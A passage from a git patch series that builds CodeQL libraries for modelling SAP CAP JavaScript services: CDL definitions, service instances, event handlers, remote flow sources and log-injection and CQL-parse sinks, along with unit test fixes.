@@ -134,24 +284,35 @@ class RequestSource extends OnNodeParam {
   }
 }
 
-class ApplicationService extends API::Node {
+private class ApplicationService extends API::Node {
   ApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
 }
 
 /**
- * ```js
- * const cds = require('@sap/cds')
- * ```
+ * Methods that parse source strings into a CQL expression.
  */
-class CdsFacade extends API::Node {
-  CdsFacade() { this = API::moduleImport("@sap/cds") }
+class ParseSink extends DataFlow::Node {
+  ParseSink() {
+    this =
+      any(CdsFacade cds)
+          .getMember("parse")
+          .getMember(["expr", "ref", "xpr"])
+          .getACall()
+          .getAnArgument()
+  }
 }
 
 /**
- * Call to`cds.log`
+ * A logger obtained by a call to `log` on a CDS facade. Each logger is associated with
+ * its unique name.
  */
-class CdsLogCall extends API::Node {
-  CdsLogCall() { this = any(CdsFacade cds).getMember("log") }
+class CdsLogger extends MethodCallNode {
+  string name;
+
+  CdsLogger() {
+    this = any(CdsFacade cds).getMember("log").getACall() and
+    name = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+  }
 }
 
 /**
@@ -159,24 +320,11 @@ class CdsLogCall extends API::Node {
  */
 class CdsLogSink extends DataFlow::Node {
   CdsLogSink() {
-    this =
-      any(CdsLogCall cdsLog)
-          .getACall()
-          .getAChainedMethodCall(["trace", "debug", "info", "log", "warn", "error"])
-          .getAnArgument()
-  }
-}
-
-/**
- * Methods that parse source strings into a CQL expression
- */
-class ParseSink extends DataFlow::Node {
-  ParseSink() {
-    this =
-      any(CdsFacade cds)
-          .getMember("parse")
-          .getMember(["expr", "ref", "xpr"])
-          .getACall()
-          .getAnArgument()
+    exists(CdsLogger log, MethodCallNode loggingMethod |
+      this = loggingMethod.getAnArgument() and
+      not this.asExpr() instanceof Literal and
+      loggingMethod.getReceiver().getALocalSource() = log and
+      loggingMethod.getMethodName() = ["trace", "debug", "info", "log", "warn", "error"]
+    )
   }
 }

From 7a97eb06182bea4045189e46625ae3114e01c6f1 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 14 Feb 2024 18:56:29 -0800
Subject: [PATCH 12/86] Add CDL.qll

---
 .../javascript/frameworks/cap/CDL.qll         | 122 ++++++++++++++++++
 .../javascript/frameworks/cap/CDS.qll         |   2 +-
 2 files changed, 123 insertions(+), 1 deletion(-)
 create mode 100644 javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll
new file mode 100644
index 000000000..3a71648fe
--- /dev/null
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll
@@ -0,0 +1,122 @@
+/**
+ * A module to reason about CDL, the language to write specification of models of services, parsed into JSON.
+ */
+
+import javascript
+
+newtype CdlKind =
+  Service(string value) { value = "service" } or
+  Entity(string value) { value = "entity" } or
+  Event(string value) { value = "event" } or
+  Action(string value) { value = "action" }
+
+/**
+ * Any CDL element, including entities, event, actions, and more.
+ */
+class CdlDefinition extends JsonObject {
+  CdlDefinition() { exists(JsonObject root | this = root.getPropValue("definitions")) }
+
+  JsonObject getElement(string elementName) { result = this.getPropValue(elementName) }
+
+  JsonObject getAnElement() { result = this.getElement(_) }
+}
+
+abstract class CdlElement extends JsonObject {
+  abstract string getName();
+
+  abstract CdlKind getKind();
+}
+
+class CdlService extends CdlElement {
+  string name;
+  CdlKind kind;
+
+  CdlService() {
+    exists(CdlDefinition definition |
+      this = definition.getElement(name) and
+      kind = Service(this.getPropStringValue("kind"))
+    )
+  }
+
+  override string getName() { result = name }
+
+  override CdlKind getKind() { result = kind }
+
+  CdlEntity getEntity(string entityName) {
+    entityName = result.getName() and
+    /* WARNING: Hacky! */
+    entityName.splitAt(".", 0) = name
+  }
+}
+
+class CdlEntity extends CdlElement {
+  string name;
+  CdlKind kind;
+
+  CdlEntity() {
+    exists(CdlDefinition definition |
+      this = definition.getElement(name) and
+      kind = Entity(this.getPropStringValue("kind"))
+    )
+  }
+
+  override string getName() { result = name }
+
+  override CdlKind getKind() { result = kind }
+
+  CdlAttribute getAttribute(string attributeName) {
+    result = this.getPropValue("elements").getPropValue(attributeName)
+  }
+}
+
+class CdlEvent extends CdlElement {
+  string name;
+  CdlKind kind;
+
+  CdlEvent() {
+    exists(CdlDefinition definition |
+      this = definition.getElement(name) and
+      kind = Event(this.getPropStringValue("kind"))
+    )
+  }
+
+  override string getName() { result = name }
+
+  override CdlKind getKind() { result = kind }
+
+  CdlAttribute getAttribute(string attributeName) {
+    result = this.getPropValue("elements").getPropValue(attributeName)
+  }
+}
+
+class CdlAction extends CdlElement {
+  string name;
+  CdlKind kind;
+
+  CdlAction() {
+    exists(CdlDefinition definition |
+      this = definition.getElement(name) and
+      kind = Action(this.getPropStringValue("kind"))
+    )
+  }
+
+  override string getName() { result = name }
+
+  override CdlKind getKind() { result = kind }
+
+  CdlAttribute getAttribute(string attributeName) {
+    result = this.getPropValue("elements").getPropValue(attributeName)
+  }
+}
+
+class CdlAttribute extends JsonObject {
+  string name;
+
+  CdlAttribute() {
+    exists(CdlElement entity | this = entity.getPropValue("elements").getPropValue(name))
+  }
+
+  string getType() { result = this.getPropStringValue("type") }
+
+  int getLength() { result = this.getPropValue("length").(JsonPrimitiveValue).getIntValue() }
+}
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 47f7a506b..968049d9a 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -30,7 +30,7 @@ class CdsServeCall extends MethodCallNode {
  *
  * // Obtained through `cds.connect.to`
  * const Service1 = await cds.connect.to("service-1");
- * 
+ *
  * // A constructor call
  * const srv = new cds.ApplicationService(...);
  * const srv = new cds.Service(...);

From db58714698b61004e61025c98d42220fd835cde2 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 14 Feb 2024 19:00:40 -0800
Subject: [PATCH 13/86] Fix parsing errors on the cds files

---
 .../cap/test/queries/loginjection/sample-app/db/schema.cds  | 6 +++---
 .../test/queries/loginjection/sample-app/srv/service1.cds   | 4 ++--
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds b/javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds
index 58682e397..1d4202fb1 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds
@@ -1,11 +1,11 @@
-namespace advanced-security.log-injection.sample-entities;
+namespace advanced_security.log_injection.sample_entities;
 
 entity Entity1 {
-  Attribute1 : String(100)
+  Attribute1 : String(100);
   Attribute2 : String(100)
 }
 
 entity Entity2 {
-  Attribute3 : String(100)
+  Attribute3 : String(100);
   Attribute4 : String(100)
 }
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
index 41d6ce4c9..d8477454b 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
@@ -1,8 +1,8 @@
-using { advanced-security.log-injection.sample-entities as db-schema } from '../db/schema';
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
 
 service Service1 {
   /* Entity to send READ about. */
-  entity Service1Entity as projection on db-schema.Entity1 excluding { Attribute2 }
+  entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
 
   /* Async API for Service1 to speak through. */
   event Received1: {

From 5bc2a7950396bf507751aab91b3635904183b7c2 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 15 Feb 2024 12:36:54 -0800
Subject: [PATCH 14/86] Implement and clean up definitions of `Handler`s

---
 .../javascript/frameworks/cap/CDS.qll         | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 968049d9a..03078d721 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -1,5 +1,6 @@
 import javascript
 import DataFlow
+import advanced_security.javascript.frameworks.cap.CDL
 
 /**
  * ```js
@@ -136,7 +137,7 @@ class HandlerRegistration extends MethodCallNode {
  * The handler that implements a service's logic to deal with the incoming request or message when a certain event is fired.
  * It is the last argument to the method calls that registers the handler: either `srv.before`, `srv.on`, or `srv.after`.
  */
-abstract class Handler extends FunctionNode {
+class Handler extends FunctionNode {
   UserDefinedApplicationService srv;
   string eventName;
 
@@ -160,20 +161,19 @@ abstract class Handler extends FunctionNode {
 }
 
 /**
- * A handler whose parameter is of type `cds.Event`. It handles asynchronous events.
+ * A handler whose first parameter is of type `cds.Event` and handles the event in an
+ * asynchronous manner, or is of type `cds.Request` and handles the event synchronously.
  */
-class MessageHandler extends Handler { }
-
-/**
- * A handler whose parameter is of type `cds.Request`, and might contain a second parameter for
- * passing the control to the handler registered below it. It handles synchronous requests.
- */
-class RequestHandler extends Handler { }
+class EventHandler extends Handler {
+  EventHandler() { exists(CdlEvent event | this.getAnEventName() = event.getName()) }
+}
 
 /**
- * A handler that handles errors. (TODO)
+ * A handler that handles errors.
  */
-class ErrorHandler extends Handler { }
+class ErrorHandler extends Handler {
+  ErrorHandler() { this.getAnEventName() = "error" }
+}
 
 newtype TUserDefinedApplicationService =
   /**

From 903537740c17148d6818fe683e39518bbb7aa1af Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 16 Feb 2024 10:58:42 -0800
Subject: [PATCH 15/86] Fix failing unit tests

Either by:
- Fixing module paths, or
- Using newer classes
---
 javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql   | 2 +-
 .../models/cds/oldstyleuserdefined/oldstyleuserdefined.ql    | 5 +++--
 .../test/models/cds/userdefinedservice/userdefinedservice.ql | 2 +-
 javascript/frameworks/cap/test/models/cql/delete/delete.ql   | 2 +-
 javascript/frameworks/cap/test/models/cql/insert/insert.ql   | 2 +-
 javascript/frameworks/cap/test/models/cql/select/select.ql   | 2 +-
 .../cap/test/models/cql/taintedclause/taintedclause.ql       | 2 +-
 javascript/frameworks/cap/test/models/cql/update/update.ql   | 2 +-
 javascript/frameworks/cap/test/models/cql/upsert/upsert.ql   | 3 +--
 9 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql b/javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql
index 11a59e4dc..b20a1498c 100644
--- a/javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql
+++ b/javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql
@@ -1,5 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CDS
 
-from CDS::ParseSink sink
+from ParseSink sink
 select sink
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql b/javascript/frameworks/cap/test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql
index 9d3229dcb..ad3affced 100644
--- a/javascript/frameworks/cap/test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql
+++ b/javascript/frameworks/cap/test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql
@@ -1,5 +1,6 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CDS
 
-from CDS::OldStyleUserDefinedApplicationService svc
-select svc
\ No newline at end of file
+from MethodCallNode cdsServiceImplCall
+where exists(TUserDefinedApplicationService svc | svc = TImplMethodCall(cdsServiceImplCall))
+select cdsServiceImplCall
diff --git a/javascript/frameworks/cap/test/models/cds/userdefinedservice/userdefinedservice.ql b/javascript/frameworks/cap/test/models/cds/userdefinedservice/userdefinedservice.ql
index 0a3adf59d..3b7e50102 100644
--- a/javascript/frameworks/cap/test/models/cds/userdefinedservice/userdefinedservice.ql
+++ b/javascript/frameworks/cap/test/models/cds/userdefinedservice/userdefinedservice.ql
@@ -1,5 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CDS
 
-from CDS::UserDefinedApplicationService svc
+from UserDefinedApplicationService svc
 select svc
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/models/cql/delete/delete.ql b/javascript/frameworks/cap/test/models/cql/delete/delete.ql
index 2c7551107..e22ccd2f8 100644
--- a/javascript/frameworks/cap/test/models/cql/delete/delete.ql
+++ b/javascript/frameworks/cap/test/models/cql/delete/delete.ql
@@ -1,6 +1,6 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CQL
 
-from CQL::CqlClause s
+from CqlClause s
 select s.getLocation(), s
 
diff --git a/javascript/frameworks/cap/test/models/cql/insert/insert.ql b/javascript/frameworks/cap/test/models/cql/insert/insert.ql
index 3f53113e1..7b12dc95e 100644
--- a/javascript/frameworks/cap/test/models/cql/insert/insert.ql
+++ b/javascript/frameworks/cap/test/models/cql/insert/insert.ql
@@ -1,5 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CQL
 
-from CQL::CqlClause s
+from CqlClause s
 select s.getLocation(), s
diff --git a/javascript/frameworks/cap/test/models/cql/select/select.ql b/javascript/frameworks/cap/test/models/cql/select/select.ql
index d2961efff..b3ff8981d 100644
--- a/javascript/frameworks/cap/test/models/cql/select/select.ql
+++ b/javascript/frameworks/cap/test/models/cql/select/select.ql
@@ -1,5 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CQL
 
-from CQL::CqlClause s
+from CqlClause s
 select s.getLocation(), s
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/models/cql/taintedclause/taintedclause.ql b/javascript/frameworks/cap/test/models/cql/taintedclause/taintedclause.ql
index 1fc1dd1bc..3034a38e4 100644
--- a/javascript/frameworks/cap/test/models/cql/taintedclause/taintedclause.ql
+++ b/javascript/frameworks/cap/test/models/cql/taintedclause/taintedclause.ql
@@ -1,5 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CQL
 
-from CQL::ParseCQLTaintedClause clause
+from ParseCQLTaintedClause clause
 select clause
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/models/cql/update/update.ql b/javascript/frameworks/cap/test/models/cql/update/update.ql
index 2c7551107..e22ccd2f8 100644
--- a/javascript/frameworks/cap/test/models/cql/update/update.ql
+++ b/javascript/frameworks/cap/test/models/cql/update/update.ql
@@ -1,6 +1,6 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CQL
 
-from CQL::CqlClause s
+from CqlClause s
 select s.getLocation(), s
 
diff --git a/javascript/frameworks/cap/test/models/cql/upsert/upsert.ql b/javascript/frameworks/cap/test/models/cql/upsert/upsert.ql
index 2c7551107..7b12dc95e 100644
--- a/javascript/frameworks/cap/test/models/cql/upsert/upsert.ql
+++ b/javascript/frameworks/cap/test/models/cql/upsert/upsert.ql
@@ -1,6 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CQL
 
-from CQL::CqlClause s
+from CqlClause s
 select s.getLocation(), s
-

From 7b28623758ef1cd23feec5655f81234e7577b485 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 16 Feb 2024 13:45:49 -0800
Subject: [PATCH 16/86] Add and reorder classes

---
 .../javascript/frameworks/cap/CDL.qll         |   2 +
 .../javascript/frameworks/cap/CDS.qll         | 208 +++++++++---------
 .../frameworks/cap/RemoteFlowSources.qll      |  19 ++
 3 files changed, 126 insertions(+), 103 deletions(-)
 create mode 100644 javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll
index 3a71648fe..7a94033a4 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll
@@ -80,6 +80,8 @@ class CdlEvent extends CdlElement {
     )
   }
 
+  string getBasename() { result = name.splitAt(".", count(name.indexOf("."))) }
+
   override string getName() { result = name }
 
   override CdlKind getKind() { result = kind }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 03078d721..605e62a77 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -9,6 +9,8 @@ import advanced_security.javascript.frameworks.cap.CDL
  */
 class CdsFacade extends API::Node {
   CdsFacade() { this = API::moduleImport("@sap/cds") }
+
+  Node getNode() { result = this.asSource() }
 }
 
 /**
@@ -19,72 +21,89 @@ class CdsServeCall extends MethodCallNode {
 }
 
 /**
- * A service instance that are obtained by the service's name, either via:
- * - Serving defined services via cds.serve and awaiting its promise, or
- * - Connecting to a service already being served and awaiting its promise, or
- * - Simply calling a constructor with a `new` keyword.
- * e.g.
+ * A dataflow node that represents a service.
+ */
+abstract class ServiceInstance extends DataFlow::Node { } // Use `DataFlow::Node` to be the most general.
+
+/**
+ * A service instance obtained by the service's name, via serving
+ * defined services via `cds.serve` and awaiting its promise. e.g.
  * ```javascript
  * // Obtained through `cds.serve`
  * const { Service1, Service2 } = await cds.serve("all");
  * const Service1 = await cds.serve("service-1");
- *
- * // Obtained through `cds.connect.to`
- * const Service1 = await cds.connect.to("service-1");
- *
- * // A constructor call
- * const srv = new cds.ApplicationService(...);
- * const srv = new cds.Service(...);
  * ```
  */
-class ServiceInstance extends DataFlow::Node {
-  ServiceInstance() {
+class ServiceInstanceFromCdsServe extends ServiceInstance {
+  ServiceInstanceFromCdsServe() {
     exists(AwaitExpr await, CdsServeCall cdsServe |
       /* 1. Obtained using `cds.Serve` */
       (
-        /*
-         * 1-1. Destructuring definition, e.g.
-         * ```
-         * const { Service1, Service2 } = await cds.serve("all");
-         * ```
-         */
-
+        /* 1-1. Destructuring definition */
         this.asExpr().getFirstControlFlowNode().(VarDef).getDestructuringSource() = await
         or
-        /*
-         * 1-2. Direct definition, e.g.
-         * ```
-         * const Service1 = await cds.serve("service-1");
-         * ```
-         */
-
+        /* 1-2. Direct definition */
         this.getALocalSource().asExpr() = await
       ) and
       await.getOperand().flow() = cdsServe
     )
-    or
-    /* 2. Obtained using `cds.connect.to` */
+  }
+}
+
+/**
+ * A service instance obtained by the service's name, via connecting
+ * to a service already being served and awaiting its promise. e.g.
+ * ```javascript
+ * // Obtained through `cds.connect.to`
+ * const Service1 = await cds.connect.to("service-1");
+ * ```
+ */
+class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
+  ServiceInstanceFromCdsConnectTo() {
     exists(AwaitExpr await, CdsConnectTo cdsConnectTo |
       this.getALocalSource().asExpr() = await and
       await.getOperand().flow() = cdsConnectTo
     )
-    or
-    /*
-     * 3. A constructor call on the class with a `new` keyword, e.g.
-     * ```
-     * const srv = new cds.ApplicationService(...);
-     * const srv = new cds.Service(...);
-     * ```
-     */
-
-    this = any(ApplicationService cds).getAnInstantiation()
+  }
+}
+
+/**
+ * A service instance obtained by directly calling the constructor
+ * of its class with a `new` keyword. e.g.
+ * ```javascript
+ * // A constructor call
+ * const srv = new cds.ApplicationService(...);
+ * const srv = new cds.Service(...);
+ * ```
+ */
+class ServiceInstanceFromConstructor extends ServiceInstance {
+  ServiceInstanceFromConstructor() { this = any(ApplicationService cds).getAnInstantiation() }
+}
+
+/**
+ * The parameter node representing the service being served, given to a
+ * callback argument to the `cds.serve(...).with` call. e.g.
+ * ```js
+ * cds.serve('./srv/some-service').with ((srv) => {
+ *   srv.on ('READ','SomeEntity', (req) => req.reply([...]))
+ * })
+ * ```
+ * This is used to extend the given service's functionality.
+ */
+class ServiceInstanceFromServeWithParameter extends ParameterNode, ServiceInstance {
+  ServiceInstanceFromServeWithParameter() {
+    exists(MethodCallNode withCall, CdsServeCall cdsServe |
+      withCall.getMethodName() = "with" and
+      withCall.getReceiver() = cdsServe and
+      this = withCall.getArgument(0).(FunctionNode).getParameter(0)
+    )
   }
 }
 
 /**
  * A Call to `cds.connect.to` that returns a promise containing the service that is asked for by its name.
  */
-class CdsConnectTo extends MethodCallNode {
+private class CdsConnectTo extends MethodCallNode {
   string serviceName;
 
   CdsConnectTo() {
@@ -98,12 +117,15 @@ class CdsConnectTo extends MethodCallNode {
 /**
  * A call to `before`, `on`, or `after` on an `ApplicationService`.
  * It registers an handler to be executed when an event is fired,
- * to do something with the incoming request or event.
+ * to do something with the incoming request or event as its parameter.
  */
 class HandlerRegistration extends MethodCallNode {
   HandlerRegistration() {
-    exists(ApplicationService srv |
-      this.getReceiver() = srv.asSource() and
+    exists(UserDefinedApplicationService srv |
+      (
+        this.getReceiver() = srv.asClassDefinition() or
+        this.getReceiver() = srv.asImplMethodCall()
+      ) and
       (
         this.getMethodName() = "before" or
         this.getMethodName() = "on" or
@@ -160,12 +182,45 @@ class Handler extends FunctionNode {
   string getAnEventName() { result = eventName }
 }
 
+/**
+ * Built-in event names to use to talk to a service.
+ * - Event names for [REST-style API](https://cap.cloud.sap/docs/node.js/core-services#rest-style-api)
+ *   - GET
+ *   - PUT
+ *   - POST
+ *   - PATCH
+ *   - DELETE
+ * - Event names for [CRUD-style API](https://cap.cloud.sap/docs/node.js/core-services#crud-style-api)
+ *   - READ
+ *   - CREATE
+ *   - INSERT
+ *   - UPSERT
+ *   - UPDATE
+ *   - DELETE
+ */
+class BuiltInEventNames extends string {
+  BuiltInEventNames() {
+    /* 1. REST-style API names. */
+    this = ["GET", "PUT", "POST", "PATCH", "DELETE"]
+    or
+    /* 2. CRUD-style API names. */
+    this = ["READ", "CREATE", "INSERT", "UPSERT", "UPDATE", "DELETE"]
+  }
+
+  predicate isRestStyle() { this = ["GET", "PUT", "POST", "PATCH", "DELETE"] }
+
+  predicate isCrudStyle() { this = ["READ", "CREATE", "INSERT", "UPSERT", "UPDATE", "DELETE"] }
+}
+
 /**
  * A handler whose first parameter is of type `cds.Event` and handles the event in an
  * asynchronous manner, or is of type `cds.Request` and handles the event synchronously.
  */
 class EventHandler extends Handler {
-  EventHandler() { exists(CdlEvent event | this.getAnEventName() = event.getName()) }
+  EventHandler() {
+    exists(CdlEvent event | this.getAnEventName() = event.getBasename()) or
+    exists(BuiltInEventNames builtInName | this.getAnEventName() = builtInName)
+  }
 }
 
 /**
@@ -222,65 +277,12 @@ class UserDefinedApplicationService extends TUserDefinedApplicationService {
   HandlerRegistration getAHandlerRegistration() {
     result.getEnclosingFunction() = getInitFunction().asExpr()
   }
-}
 
-/**
- *  Parameter of a `srv.with` method call:
- * ```js
- * cds.serve('./srv/cat-service') .with ((srv) => {
- *     srv.on ('READ','Books', (req) => req.reply([...]))
- * })
- * ```
- *
- * TODO expand this to capture request handlers registered inside the function
- */
-class WithCallParameter extends RequestHandler {
-  WithCallParameter() {
-    exists(MethodCallNode withCall, ServiceInstance svc |
-      withCall.getArgument(0) = this and
-      withCall.getMethodName() = "with" and
-      withCall.getReceiver() = svc
-    )
-  }
-}
-
-/**
- * Parameter of request handler of `_.on`:
- * ```js
- * _.on ('READ','Books', (req) => req.reply([...]))
- * ```
- */
-class OnNodeParam extends ValueNode, ParameterNode {
-  MethodCallNode on;
-
-  OnNodeParam() {
-    exists(FunctionNode handler |
-      on.getMethodName() = "on" and
-      on.getLastArgument() = handler and
-      handler.getLastParameter() = this
-    )
-  }
-
-  MethodCallNode getOnNode() { result = on }
-}
-
-/**
- * Parameter of request handler of `srv.on`:
- * ```js
- * this.on ('READ','Books', (req) => req.reply([...]))
- * ```
- * not sure how else to know which service is registering the handler
- */
-class RequestSource extends OnNodeParam {
-  RequestSource() {
-    // TODO : consider  - do we need to actually ever know which service the handler is associated to?
-    exists(UserDefinedApplicationService svc, FunctionNode init |
-      svc.asClassDefinition().getAnInstanceMember() = init and
-      init.getName() = "init" and
-      this.getOnNode().getEnclosingFunction() = init.getAstNode()
-    )
-    or
-    exists(WithCallParameter pa | this.getOnNode().getEnclosingFunction() = pa.getFunction())
+  predicate hasLocationInfo(
+    string filepath, int startline, int startcolumn, int endline, int endcolumn
+  ) {
+    this.asClassDefinition().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) or
+    this.asImplMethodCall().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
   }
 }
 
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll
new file mode 100644
index 000000000..76f1ab6b9
--- /dev/null
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll
@@ -0,0 +1,19 @@
+import javascript
+import advanced_security.javascript.frameworks.cap.CDS
+
+/**
+ * A parameter of a handler registered for a service on an event. e.g.
+ * ```javascript
+ * this.on("SomeEvent", "SomeEntity", (req) => { ... });
+ * this.before("SomeEvent", "SomeEntity", (req, next) => { ... }); // only `req` is captured
+ * SomeService.on("SomeEvent", "SomeEntity", (msg) => { ... });
+ * SomeService.after("SomeEvent", "SomeEntity", (msg) => { ... });
+ * ```
+ * All the parameters named `req` and `msg` are captured in the above example.
+ */
+/* TODO: narrow the definition down to exposed events */
+class HandlerParameter extends ParameterNode, RemoteFlowSource {
+  HandlerParameter() { exists(EventHandler handler | this = handler.getParameter(0)) }
+
+  override string getSourceType() { result = "Parameter of an event handler" }
+}

From cb2c7b626c9c50be36975e4ae072e76f9b170555 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 16 Feb 2024 15:44:20 -0800
Subject: [PATCH 17/86] Rename ApplicationService to CdsApplicationService

---
 .../javascript/frameworks/cap/CDS.qll              | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 605e62a77..2ad8397a1 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -77,7 +77,7 @@ class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
  * ```
  */
 class ServiceInstanceFromConstructor extends ServiceInstance {
-  ServiceInstanceFromConstructor() { this = any(ApplicationService cds).getAnInstantiation() }
+  ServiceInstanceFromConstructor() { this = any(CdsApplicationService cds).getAnInstantiation() }
 }
 
 /**
@@ -115,7 +115,7 @@ private class CdsConnectTo extends MethodCallNode {
 }
 
 /**
- * A call to `before`, `on`, or `after` on an `ApplicationService`.
+ * A call to `before`, `on`, or `after` on an `CdsApplicationService`.
  * It registers an handler to be executed when an event is fired,
  * to do something with the incoming request or event as its parameter.
  */
@@ -232,18 +232,18 @@ class ErrorHandler extends Handler {
 
 newtype TUserDefinedApplicationService =
   /**
-   * Subclassing `ApplicationService` via a ES6 class definition.
+   * Subclassing `cds.ApplicationService` via a ES6 class definition.
    * ```js
    * class SomeService extends cds.ApplicationService
    * ```
    */
   TClassDefinition(ClassNode classNode) {
-    exists(ApplicationService cdsApplicationService |
+    exists(CdsApplicationService cdsApplicationService |
       classNode.getASuperClassNode() = cdsApplicationService.asSource()
     )
   } or
   /**
-   * Subclassing `ApplicationService` via a call to `cds.service.impl`.
+   * Subclassing `cds.ApplicationService` via a call to `cds.service.impl`.
    * ```js
    * const cds = require('@sap/cds')
    * module.exports = cds.service.impl (function() { ... })
@@ -286,8 +286,8 @@ class UserDefinedApplicationService extends TUserDefinedApplicationService {
   }
 }
 
-private class ApplicationService extends API::Node {
-  ApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
+private class CdsApplicationService extends API::Node {
+  CdsApplicationService() { exists(CdsFacade c | this = c.getMember("CdsApplicationService")) }
 }
 
 /**

From a95b38d820abffaa8eeab031e4c183a5fb8b3184 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 16 Feb 2024 18:47:45 -0800
Subject: [PATCH 18/86] Fix unit test `requesthandler`

---
 .../javascript/frameworks/cap/CDS.qll         | 38 +++++++++----------
 .../frameworks/cap/RemoteFlowSources.qll      |  2 +-
 .../cds/requesthandler/requesthandler.ql      |  4 +-
 3 files changed, 20 insertions(+), 24 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 2ad8397a1..1ddd6cb2c 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
